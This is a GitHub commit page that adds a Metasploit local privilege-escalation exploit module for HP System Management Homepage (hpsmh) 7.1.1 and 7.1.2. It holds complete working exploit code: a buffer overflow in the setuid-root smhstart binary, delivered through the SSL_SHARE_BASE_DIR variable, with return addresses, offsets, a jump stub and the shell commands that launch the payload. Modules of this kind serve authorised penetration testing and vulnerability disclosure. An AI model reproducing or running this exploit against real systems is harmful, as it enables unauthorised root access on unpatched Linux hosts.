Skip to content

Commit 55302ee

Browse files
author
jvazquez-r7
committed
Merge remote-tracking branch 'origin/pr/1695' into landing-pr1695
2 parents 88b2d9a + b947dc7 commit 55302ee

File tree

1 file changed

+93
-0
lines changed

1 file changed

+93
-0
lines changed
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/exploit/local/linux'
12+
require 'msf/core/exploit/exe'
13+
14+
class Metasploit4 < Msf::Exploit::Local
15+
16+
include Msf::Exploit::EXE
17+
include Msf::Post::File
18+
include Msf::Post::Common
19+
20+
include Msf::Exploit::Local::Linux
21+
22+
def initialize(info={})
23+
super( update_info( info, {
24+
'Name' => 'HP System Management Homepage Local Privilege Escalation',
25+
'Description' => %q{
26+
Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'agix' #@agixid
32+
],
33+
'Platform' => [ 'linux' ],
34+
'Arch' => [ ARCH_X86 ],
35+
'SessionTypes' => [ 'shell' ],
36+
'Payload' =>
37+
{
38+
'Space' => 227,
39+
'BadChars' => "\x00\x22"
40+
},
41+
'References' =>
42+
[
43+
['OSVDB', '91812'] #not exactly but there is none...
44+
],
45+
'Targets' =>
46+
[
47+
[ 'Hpsmh 7.1.1',
48+
{
49+
'Arch' => ARCH_X86,
50+
'CallEsp' => 0x080c86eb, #call esp
51+
'Offset' => 58
52+
}
53+
],
54+
[ 'Hpsmh 7.1.2',
55+
{
56+
'Arch' => ARCH_X86,
57+
'CallEsp' => 0x080c8b9b, #call esp
58+
'Offset' => 58
59+
}
60+
],
61+
],
62+
'DefaultOptions' =>
63+
{
64+
'PrependSetuid' => true
65+
},
66+
'DefaultTarget' => 0,
67+
'DisclosureDate' => "Mar 30 2013",
68+
}
69+
))
70+
register_options([
71+
OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
72+
], self.class)
73+
end
74+
75+
def exploit
76+
pl = payload.encoded
77+
padding = rand_text_alpha(target['Offset'])
78+
ret = [target['CallEsp']].pack('V')
79+
exploit = pl
80+
exploit << ret
81+
exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff11
82+
exploit << "\xe9\x0e\xff\xff\xff" # jmp => begining of pl
83+
exploit << padding
84+
exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
85+
id=cmd_exec("id -un")
86+
if id!="hpsmh"
87+
fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
88+
end
89+
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
90+
cmd_exec("#{datastore['smhstartDir']}/smhstart")
91+
end
92+
93+
end

0 commit comments

Comments
 (0)